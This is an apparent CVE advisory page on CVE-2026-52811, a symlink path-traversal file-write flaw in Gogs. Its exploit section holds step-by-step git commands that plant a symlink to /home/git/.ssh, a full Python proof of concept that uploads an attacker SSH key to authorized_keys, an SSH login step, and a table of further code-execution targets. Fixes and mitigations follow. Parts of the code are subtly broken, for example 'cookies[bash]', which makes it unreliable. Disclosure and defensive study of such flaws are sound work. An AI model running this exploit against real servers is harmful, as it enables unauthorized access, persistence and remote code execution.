Gogs, Path Traversal via Symlink, CVE-2026-52811 (Critical) -DC-Jun2026-578

Listen to this Post

CVE-2026-52811 is a critical vulnerability in Gogs, a self-hosted Git service, that allows an authenticated attacker with repository write access to write arbitrary files outside the repository working tree. The flaw resides in the `(Repository).UploadRepoFiles` method, which performs an asymmetric symlink check compared to its sibling functions (UpdateRepoFile, DeleteRepoFile, and GetDiffPreview).
The core issue is that `UploadRepoFiles` only checks for symlinks on the leaf of the upload target path using osx.IsSymlink(targetPath), whereas the other methods use hasSymlinkInPath, which `lstat`s every path component. An attacker can exploit this discrepancy through a carefully crafted multipart upload where the filename contains a literal backslash (\). On Linux, `filepath.Base` preserves backslashes (since only `/` is treated as a separator), and `pathx.Clean` subsequently converts them to forward slashes (/). This transforms a filename like `hijack\authorized_keys` into hijack/authorized_keys.
When combined with a previously committed directory symlink (e.g., `hijack` → /home/git/.ssh), the `UploadRepoFiles` method:
1. Joins the path into path.Join(dirPath, upload.Name), resolving to `/home/git/.ssh/authorized_keys`
2. Checks only the leaf (authorized_keys) for being a symlink — which it is not
3. Calls iox.CopyFile, which uses `os.Create(dst)` — without `O_NOFOLLOW`
The kernel then follows the parent symlink and writes attacker-controlled content anywhere the Gogs UID can write. This enables SSH key implantation into `~git/.ssh/authorized_keys` for a persistent foothold, or overwriting repository hooks (e.g., post-receive) for Remote Code Execution on the next push. Windows builds are unaffected because `filepath.Base` treats `\` as a separator and Git defaults to core.symlinks=false.
The vulnerability affects Gogs versions 0.14.0 through 0.14.2 (and possibly later, as no patch has been released at the time of writing). It was assigned CVE-2026-52811 on June 19, 2026.

DailyCVE Form

| Field | Value |

|-|-|

| Platform | Gogs |

| Version | 0.14.0 – 0.14.2 (and HEAD prior to fix) |
| Vulnerability | Path Traversal via Symlink (Arbitrary File Write) |

| Severity | Critical |

| Date | 2026-06-23 |

| Prediction | 2026-07-15 |

What Undercode Say: Analytics

The following artifacts and commands are derived directly from the ‘s technical analysis and Proof of Concept.

Code Diff — Asymmetric Symlink Check

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
Confirm: line 163 calls hasSymlinkInPath (correct); line 606 calls osx.IsSymlink (leaf only)
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
<(sed -n '601,615p' internal/database/repo_editor.go)

pathx.Clean Backslash Conversion

sed -n '13,16p' internal/pathx/pathx.go
Confirms: strings.ReplaceAll(p, "\", "/")

Server-Side Trace

| Step | Detail |

||–|

| Wire bytes | `filename=”hijack\\authorized_keys”` |

| `mime.ParseMediaType` | → `”hijack\authorized_keys”` (quoted-pair: `\\` → \) |
| `filepath.Base` | → `”hijack\authorized_keys”` (Linux: only `/` is separator) |
| `pathx.Clean` | → `”hijack/authorized_keys”` (\\/, then path.Clean) |

| `targetPath` | = `//hijack/authorized_keys` = `/home/git/.ssh/authorized_keys` |

| `osx.IsSymlink(targetPath)` | = `false` (leaf doesn’t exist as symlink) |
| `iox.CopyFile` | → `os.Create` → `OpenFile` without `O_NOFOLLOW` (follows parent symlink) |

Why `curl -F` Is Unreliable

| Shell form | Wire bytes | Go parses to | `upload.Name` | Triggers? |

|||–||–|

| `-F “…filename=a\b”` | `a\b` | `ab` | `ab` | no |
| `-F “…filename=a\\b”` (double quotes) | `a\b` | `ab` | `ab` | no |
| `-F ‘…filename=a\\b’` (single quotes) | `a\\b` | `a\b` | `a/b` | yes |

Exploit

Prerequisites

  • Gogs ≥ 0.14.0 on Linux/macOS (runtime.GOOS != "windows")
  • Two attacker accounts with write access to a repository (attacker/playground)
  • Git ≥ 2.x with `core.symlinks=true` (Linux/macOS default)
  • Python 3 (stdlib only)

Step 1 — Plant the Directory Symlink

git clone https://attacker:[email protected]/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..

Step 2 — Upload + Commit (poc.py)

!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST = 'gogs.example'
USERNAME = 'attacker'
PASSWORD = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME = 'playground'
BRANCH = 'main'
PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
ctx = ssl.create_default_context() set to None for plain HTTP / port 3000
def conn():
if ctx is None:
return http.client.HTTPConnection(GOGS_HOST, 3000)
return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
cookies = {}
def update_cookies(resp):
for hdr in resp.msg.get_all('Set-Cookie') or []:
for name, morsel in SimpleCookie(hdr).items():
cookies[bash] = morsel.value
def cookie_header():
return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
2. Submit credentials
c = conn()
c.request('POST', '/user/login',
body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
4. Hand-built multipart with literal "\" (two backslash bytes) in filename.
boundary = '-poc-' + 'x' 16
filename_on_wire = r'hijack\authorized_keys' 23 chars, 2 of them backslashes
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
body=urllib.parse.urlencode({
'_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
'commit_choice': 'direct', 'files': uuid,
}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)

Step 3 — Confirm and Use the Foothold

Operator's view
sudo cat /home/git/.ssh/authorized_keys
→ ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
Attacker's view
ssh -i ~/.ssh/id_ed25519 [email protected]
→ shell as the gogs runtime UID

Other Reachable Targets (Same Primitive)

| Symlink Target | Effect on Next Event |

|-|-|

| `/home/git/.ssh` | SSH key implant → shell as gogs UID |
| `//.git/hooks` | Hook overwrite → arbitrary code on next push |
| `//.git` | `core.fsmonitor=` in config → exec on next git op |
| `~git/custom/conf` | Modify `app.ini` (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |
| SQLite DB file path | DoS or admin-row replant |

Protection

Suggested Fix (from the )

  1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` — the same primitive `UpdateRepoFile` already uses.
  2. Walk `opts.TreePath` before `os.MkdirAll(dirPath, …)` at line 583 so that pre-existing symlinked components don’t let `MkdirAll` create directories outside the repo.
  3. Switch iox.CopyFile‘s open to O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer.
  4. In database.NewUpload, after pathx.Clean, refuse `name` containing `/` or `\` outright.

Mitigation (until patch is available)

  • Disable open registration — prevents unauthorized account creation
  • Restrict repository write access to trusted users only
  • Place Gogs behind a VPN or authentication proxy — do not expose directly to the public internet
  • Monitor for:
  • Suspicious repositories with random alphanumeric names
  • Unexpected symlink commits (mode `120000` entries)
  • Unauthorized changes to `.git/config` or SSH keys
  • Outbound connections from the Gogs service user

Impact

  • Authenticated RCE as the Gogs runtime UID from a single repository write
  • SSH foothold: Chain → plant symlink → upload with crafted filename → commit → write to `~git/.ssh/authorized_keys` → SSH access
  • Lateral movement targets:
  • Gogs SQLite database — rewrite admin rows
  • Bare-repo hook scripts — run on next push by any user with `GOGS_AUTH_USER_` env populated
    – `app.ini` SECRET_KEY — forge session cookies, decrypt stored 2FA secrets and mirror credentials
  • Persistence: Symlink and SSH key both survive restarts; removing the attacker’s repo access does not undo the SSH foothold
  • CVSS Score: 8.7 (Critical)
  • Actively exploited in the wild; CISA added to Known Exploited Vulnerabilities catalog
  • Linux/macOS only — Windows builds are unaffected for two independent reasons (filepath.Base separator handling, Git’s `core.symlinks` default)

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top